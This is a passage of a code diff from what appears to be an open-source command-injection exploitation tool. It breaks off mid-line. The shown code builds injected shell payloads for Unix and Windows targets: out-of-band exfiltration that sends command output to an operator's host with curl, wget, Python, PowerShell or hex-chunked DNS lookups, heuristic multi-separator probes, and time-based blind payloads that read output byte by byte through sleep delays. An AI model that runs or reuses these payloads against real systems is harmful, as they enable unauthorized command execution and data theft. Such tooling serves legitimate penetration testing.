settings.TARGET_OS == settings.OS.WINDOWS else list(UNIX_TRANSPORTS) + if menu.options.interpreter and "python" in order: + order.remove("python") + order.insert(0, "python") + # The one the heuristic already saw answer leads, whichever kind it is. + if settings.OOB_HEURISTIC_TRANSPORT in order: + order.remove(settings.OOB_HEURISTIC_TRANSPORT) + order.insert(0, settings.OOB_HEURISTIC_TRANSPORT) + # An HTTP client that stayed silent on a payload the heuristic proved had run is not worth a probe + # on every boundary of the sweep: the lookup carries the sweep on its own, and the clients that + # were never asked are tried once - on the boundary the lookup confirms. + if settings.OOB_HEURISTIC_HTTP_SILENT and any(required_protocol(candidate) == "dns" for candidate in order): + order = [candidate for candidate in order if required_protocol(candidate) == "dns"] + return order + +""" +The clients worth one request each once a boundary is confirmed: the ones that carry output back +whole and that the heuristic never got to ask. A slow one is left out - the point is already found, +so a client that blocks for half a minute costs more than the whole output it might have carried. +""" +def upgrade_candidates(): + return [candidate for candidate in exfiltration_alternatives("dns") + if required_protocol(candidate) == "http" and candidate not in SLOW_TRANSPORTS + and candidate not in settings.OOB_HEURISTIC_HTTP_SILENT] + +""" +The HTTP clients that were really asked, so a report names those and not the ones left out. +""" +def tried_http_clients(): + if not settings.OOB_HEURISTIC_HTTP_SILENT: + return [candidate for candidate in exfiltration_alternatives("dns") if required_protocol(candidate) == "http"] + return list(dict.fromkeys(list(settings.OOB_HEURISTIC_HTTP_SILENT) + upgrade_candidates())) + +""" +The clients that could have carried command output back, and so were tried ahead of this one. +""" +def exfiltration_alternatives(transport): + order = WINDOWS_TRANSPORTS if settings.TARGET_OS == settings.OS.WINDOWS else UNIX_TRANSPORTS + return [candidate for candidate in order if candidate != transport and supports_exfiltration(candidate)] + +""" +The interaction a transport has to produce to count as working. Resolving the name is not enough +for an HTTP client - it happens even when the request itself never completes. +""" +def required_protocol(transport): + return "dns" if transport == "dns" else "http" + +""" +Build one heuristic payload that tries several clients across several separators at once, plus the +tokens to watch for. + +This is only a cheap yes/no on whether the parameter is worth testing, so it carries no sum to +check - the sweep proves execution properly before anything is reported. +""" +def heuristic_payload(channel, target_os): + if target_os == settings.OS.WINDOWS: + # Both of cmd.exe's chaining operators, over the two clients that answer quickly. PowerShell + # is left out on purpose: where a host has no way out, it holds the request open for far + # longer than a yes/no is worth. + pairs = (("%26", "curl"), ("%26", "dns"), ("|", "dns")) + else: + # One HTTP client and the name lookup on both of the separators a shell chains on: a host that + # lets nothing out over HTTP still answers through its resolver. + pairs = ((";", "curl"), ("%26", "dns"), ("|", "dns")) + parts = [] + probes = [] + for separator, transport in pairs: + token, hostname = channel.new_payload() + parts.append(separator + reach_command(transport, hostname)) + probes.append((token, transport)) + payload = "".join(parts) + payload = payload + (checks.WINDOWS_TAIL if target_os == settings.OS.WINDOWS else checks.UNIX_TAIL) + return payload, probes + +""" +Report whether a transport can carry a computation the receiving end can check. +""" +def supports_proof(transport): + return transport in ("curl", "wget", "python", "powershell") + +""" +Build a sum for the target to evaluate, returned as (expression, expected result, prologue). The +prologue is whatever has to run before the command for the expression to hold a value - nothing, +on a shell that expands arithmetic inside an argument. + +An interaction only proves that something reached us - a filtering appliance that fetches URLs it +finds in a parameter would produce the same signal, and re-verifying with a fresh token would not +tell the two apart. A shell that really ran the command sends the sum's result; anything replaying +the URL verbatim sends the expression instead. +""" +def proof(transport, plus=PLUS): + if not supports_proof(transport): + return "", "", "" + first = random.randrange(1000, 9999) + second = random.randrange(1000, 9999) + # Bracketed by a marker, so the result cannot be mistaken for a number occurring anywhere else. + tag = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) + if transport == "powershell": + # Concatenated outside the URL's quotes: PowerShell expands nothing inside a single-quoted + # string, so a sum left in there would be sent as written. + total = "'" + plus + "(" + str(first) + plus + str(second) + ")" + plus + "'" + elif settings.TARGET_OS == settings.OS.WINDOWS: + # 'set /a' is the only arithmetic cmd.exe has and it only writes its answer out, so the sum is + # worked out first and read into the variable the command is then built around. + prologue = ("for /f \"tokens=*\" %i in ('cmd /c \"set /a " + str(first) + plus + str(second) + + "\"') do ") + return tag + "%i" + tag, tag + str(first + second) + tag, prologue + elif settings.USE_BACKTICKS or settings.WAF_ENABLED: + # Same fallback the classic technique uses, so '--tamper=backticks' reaches here too. + total = (settings.CMD_SUB_PREFIX + "expr" + settings.SINGLE_WHITESPACE + str(first) + + settings.SINGLE_WHITESPACE + plus + settings.SINGLE_WHITESPACE + str(second) + + settings.CMD_SUB_SUFFIX) + else: + total = settings.CMD_SUB_PREFIX + "(" + str(first) + plus + str(second) + "))" + return tag + total + tag, tag + str(first + second) + tag, "" + +""" +Report whether a transport can carry command output back. +""" +def supports_exfiltration(transport): + return transport in ("curl", "wget", "python", "powershell", "dns") + +""" +Hex characters per label, so a name stays inside the 253 bytes a DNS query has for it. Even, so a +byte is never split across two labels. +""" +DNS_CHUNK = 60 + +""" +Build the command that reads a command's output out over name resolution alone: the output goes out +hex-encoded, a chunk to a label, each one numbered so the pieces can be put back in order. + +Hex, because a label holds letters, digits and hyphens only - and lowercase on the way back, since a +resolver is free to change the case of what it forwards. +""" +def dns_exfil_command(hostname, cmd, separator=""): + chunk = str(DNS_CHUNK) + if settings.TARGET_OS == settings.OS.WINDOWS: + # No pipe and no double quote of its own: cmd.exe would read the first as its own and strip the + # second before PowerShell ever saw them. + # Every '+' goes in encoded: a bare one arrives as a space where the payload is URL-decoded. + return ("powershell.exe -InputFormat none -Command " + "$h=[BitConverter]::ToString([Text.Encoding]::UTF8.GetBytes((" + + "[string](cmd /c " + cmd + ")).Trim())).Replace('-','');" + "$t=[int][Math]::Ceiling($h.Length/" + chunk + ");$i=0;" + "while($i -lt $h.Length){" + "$c=$h.Substring($i,[Math]::Min(" + chunk + ",$h.Length-$i));" + "nslookup ([string]([int]($i/" + chunk + ")" + PLUS + "1)" + PLUS + "'-'" + PLUS + + "[string]$t" + PLUS + "'.'" + PLUS + "$c" + PLUS + "'." + hostname + "');" + "$i" + PLUS + "=" + chunk + "}") + # The hex goes out as one pipeline, so the payload needs no separator of its own beyond the one + # under test: 'fold' cuts the chunks, 'cat -n' numbers them, and the tab it numbers with becomes + # the label separator. 'od' and the tools around it are POSIX, so this holds outside bash as well. + encoded = ("(" + cmd + ")" + PIPE + "od -An -v -tx1" + PIPE + + "tr -d ' " + settings.END_LINE.ESCAPED_LF + "'") + if separator not in (";", "%0a", "%0d%0a"): + # The name goes in through the environment and the chunk as an argument, because a BSD 'xargs' + # will not build a replaced argument longer than 255 bytes - the lookup chain alone is more. + return (encoded + PIPE + "fold -w" + chunk + PIPE + "cat -n" + PIPE + "tr -d ' '" + PIPE + + "tr '\\t' '.'" + PIPE + "xargs -I{} env H=" + hostname + " sh -c '" + + dns_lookup_command("$0.$H") + "' {}") + # A separator that ends a statement can carry a loop instead, which knows how many chunks there + # are and says so in every label - the reading end then knows when it has them all. A space after + # the opening, or '$((' would be read as arithmetic instead of a subshell. + return (settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.SINGLE_WHITESPACE + encoded + settings.CMD_SUB_SUFFIX + separator + + "t=$(( (${#" + settings.RANDOM_VAR_GENERATOR + "} %2B " + str(DNS_CHUNK - 1) + ") / " + chunk + " ))" + separator + "i=1" + separator + "n=1" + separator + + "r(){ " + dns_lookup_command("$1") + separator + "}" + separator + + "while [ $i -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + "do " + + "r $n-$t.$(echo $" + settings.RANDOM_VAR_GENERATOR + "|cut -c$i-$((i%2B" + str(DNS_CHUNK - 1) + ")))." + hostname + separator + + "i=$((i%2B" + chunk + "))" + separator + "n=$((n%2B1))" + separator + "done") + +""" +Put the pieces of a hex-encoded output back together, in the order the labels numbered them. +""" +def decode_dns_output(chunks): + if not chunks: + return "" + encoded = "".join(chunks[index] for index in sorted(chunks)) + # A half byte at the end means a chunk went missing on the way. + encoded = encoded[:len(encoded) - len(encoded) % 2] + try: + decoded = binascii.unhexlify(encoded.encode()).decode(settings.DEFAULT_CODEC, errors="replace") + except (binascii.Error, TypeError): + return "" + # The encoding takes the command's output as it stands, trailing newline and all. + return decoded.rstrip(settings.END_LINE.CR + settings.END_LINE.LF) + +""" +Build the command that sends the output of a command to the server. +""" +def exfil_command(transport, hostname, cmd, pipe=PIPE, separator=""): + if transport == "dns": + return dns_exfil_command(hostname, cmd, separator) + # Grouped, or a compound command sends only its last part. + grouped = "(" + cmd + ")" + if transport == "curl": + return grouped + pipe + "curl -s --data-binary @- " + _url(hostname) + if transport == "wget": + # wget cannot post from stdin. + return "wget -qO- --post-data=\"$" + grouped + "\" " + _url(hostname) + if transport == "python": + return grouped + pipe + _python_prog(hostname, from_stdin=True) + if transport == "powershell": + # Out-String joins the lines into one body. + return ("powershell.exe -c iwr -Uri " + _url(hostname) + " -Method POST -Body " + "(cmd /c '" + cmd + "'" + pipe + "Out-String) -UseBasicParsing") + return "" + +""" +Out-of-band payload that sends the output of a command to the server. +""" +def exfiltrate(separator, transport, hostname, cmd): + command = exfil_command(transport, hostname, cmd, separator=separator) + if not command: + return "" + payload = separator + command + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = checks.append_custom_marker(payload, separator) + return payload + checks.shell_tail() + +# eof diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 0e18e71bcc..dbadbfae66 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -22,28 +22,67 @@ The available "time-based" payloads. """ +""" +The command's output as a shell word, through whichever substitution syntax is in play. Wrapped in +nothing else: a second substitution around it nests, which backticks cannot do without escaping, +and an 'echo' in between reads the backslashes of the output on every shell whose builtin does. +""" +def _output_word(cmd): + return settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + +""" +How many bytes that output is. Counted the same way on every separator, and read back below the same +way: '${#var}' counts characters where this counts bytes, and a length that disagreed with the +indexing would have the retrieval ask for characters that are not where it was told they are. +""" +def _length_expr(word): + return "$(printf '%s' \"" + word + "\" | wc -c)" + +""" +The ordinal of the output's Nth byte, newlines counted among them. 'cut -c' would answer per line +instead, which is a different byte on any output that has more than one - and none at all for the +lines that are shorter than N. + +A letter follows the byte inside the substitution, and only the first of the two is read: a +substitution drops the newlines it ends with, so a byte that is itself a newline would otherwise +come back as nothing at all and the position it sits at could never be resolved. +""" +def _ordinal_expr(word, num_of_chars): + # '%2B' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. + return ("$(printf '%d' \"'$(printf '%s' \"" + word + "\" | tail -c %2B" + str(num_of_chars) + + " | head -c 1; printf X)\")") + +""" +The command's output, measured by the alternative interpreter. The output travels through a pipe +rather than into the program's own source: substituted there, a quote in it would close the string +literal it sits in and the payload would come back at once, having measured nothing. +""" +def _py_length_expr(cmd): + return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + _output_word(cmd) + "\"|" + + settings.LINUX_PYTHON_INTERPRETER + + " -c \"import sys;print(len(sys.stdin.buffer.read()))\"" + settings.CMD_SUB_SUFFIX) + +""" +The ordinal of that output's Nth byte, read the same way. Indexing bytes answers with the number +itself, so nothing has to be converted afterwards. +""" +def _py_ordinal_expr(cmd, num_of_chars): + return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + _output_word(cmd) + "\"|" + + settings.LINUX_PYTHON_INTERPRETER + " -c \"import sys;print(sys.stdin.buffer.read()[" + + str(num_of_chars - 1) + "])\"" + settings.CMD_SUB_SUFFIX) + """ Time-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, output_length, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + # Comparing the marker straight back proves the command ran just as well as measuring its + # length did, and spares the payload a PowerShell launch whose own start-up time is noise a + # timing measurement cannot afford. + payload = checks.windows_probe(chain, "echo " + TAG, "==", TAG, timesec) else: if separator in (";", "%0a", "%0d%0a"): payload = (separator + @@ -54,7 +93,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) elif separator == "%26": payload = (separator + - "[ " + str(output_length) + " -eq $(wc -c < <(printf '%s' \"" + TAG + "\")) ]" + "&&" + + "[ " + str(output_length) + " -eq " + _length_expr(TAG) + " ]" + "&&" + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&") : @@ -72,8 +111,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.SINGLE_WHITESPACE + - pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + "||" + + "[ " + str(output_length) + " -ne " + _length_expr(TAG) + " ]" + "||" + "sleep " + str(timesec) ) else: @@ -90,25 +128,10 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + payload = checks.windows_probe(chain, python_payload, "==", output_length, timesec) else: if separator in (";", "%0a", "%0d%0a"): @@ -169,14 +192,14 @@ def condition_check(separator, condition, timesec, http_request_method): "[ " + condition + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator == _urllib.parse.quote("&&"): + elif separator in (_urllib.parse.quote("&"), _urllib.parse.quote("&&"), ""): payload = (_urllib.parse.quote("&") + "sleep 0" + separator + "[ " + condition + " ]" + separator + "sleep " + str(timesec) ) elif separator in ("|", "||"): - pipe = "|" + pipe = separator payload = (pipe + "[ ! " + condition + " ]" + "||" + "sleep " + str(timesec) @@ -189,46 +212,39 @@ def condition_check(separator, condition, timesec, http_request_method): return checks.sanitize_payload_newlines(payload) +""" +Windows counterpart of condition_check() above - 'set /a' has no boolean test operator, so an +equality check is read off a subtraction landing on the expected value. +""" +def windows_condition_check(separator, expr, expected, timesec): + chain = checks.windows_separator(separator) + if chain is None: + return None + return checks.windows_probe(chain, "set /a " + expr, "==", expected, timesec) + """ Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "==", output_length, timesec) else: settings.USER_APPLIED_CMD = cmd - cmd_exec = cmd - if settings.USE_BACKTICKS: - cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + word = _output_word(cmd) if separator in (";", "%0a", "%0d%0a"): payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) elif separator == "%26": payload = (separator + - "[ " + str(output_length) + " -eq $(wc -c < <(printf '%s' \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\")) ]" + "&&" + + "[ " + str(output_length) + " -eq " + _length_expr(word) + " ]" + "&&" + "sleep " + str(timesec) ) @@ -236,7 +252,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + @@ -246,8 +262,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + - pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + "||" + + "[ " + str(output_length) + " -ne " + _length_expr(word) + " ]" + "||" + "sleep " + str(timesec) ) else: @@ -264,37 +279,22 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "==", output_length, timesec) else: settings.USER_APPLIED_CMD = cmd if separator in (";", "%0a", "%0d%0a"): payload = (separator + # Find the length of the output, using readline(). - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == "%26": payload = (separator + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + "[ " + str(output_length) + " -eq " + _py_length_expr(cmd) + " ]" + "&&" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -303,7 +303,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) @@ -313,7 +313,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + "||" + + "[ " + str(output_length) + " -ne " + _py_length_expr(cmd) + " ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: @@ -330,38 +330,23 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http def get_length(separator, cmd, candidate_length, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + "\"') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + "\"') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "GEQ", candidate_length, timesec) else: settings.USER_APPLIED_CMD = cmd - cmd_exec = cmd - if settings.USE_BACKTICKS: - cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + word = _output_word(cmd) if separator in (";", "%0a", "%0d%0a"): payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(candidate_length) + "<=$" + settings.RANDOM_VAR_GENERATOR + "1)))" ) elif separator == "%26": payload = (separator + - "[ " + str(candidate_length) + " -le $(wc -c < <(printf '%s' \"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\")) ]" + "&&" + + "[ " + str(candidate_length) + " -le " + _length_expr(word) + " ]" + "&&" + "sleep " + str(timesec) ) @@ -369,7 +354,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "[ " + str(candidate_length) + " -le $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) @@ -378,7 +363,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(candidate_length) + " -gt $(wc -c < <(printf '%s' \"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\")) ]" + "||" + + "[ " + str(candidate_length) + " -gt " + _length_expr(word) + " ]" + "||" + "sleep " + str(timesec) ) else: @@ -395,49 +380,34 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do if %i GEQ " + str(candidate_length) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "GEQ", candidate_length, timesec) else: settings.USER_APPLIED_CMD = cmd if separator in (";", "%0a", "%0d%0a"): payload = (separator + - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == "%26": payload = (separator + - "[ " + str(candidate_length) + " -le " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + "[ " + str(candidate_length) + " -le " + _py_length_expr(cmd) + " ]" + "&&" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator == 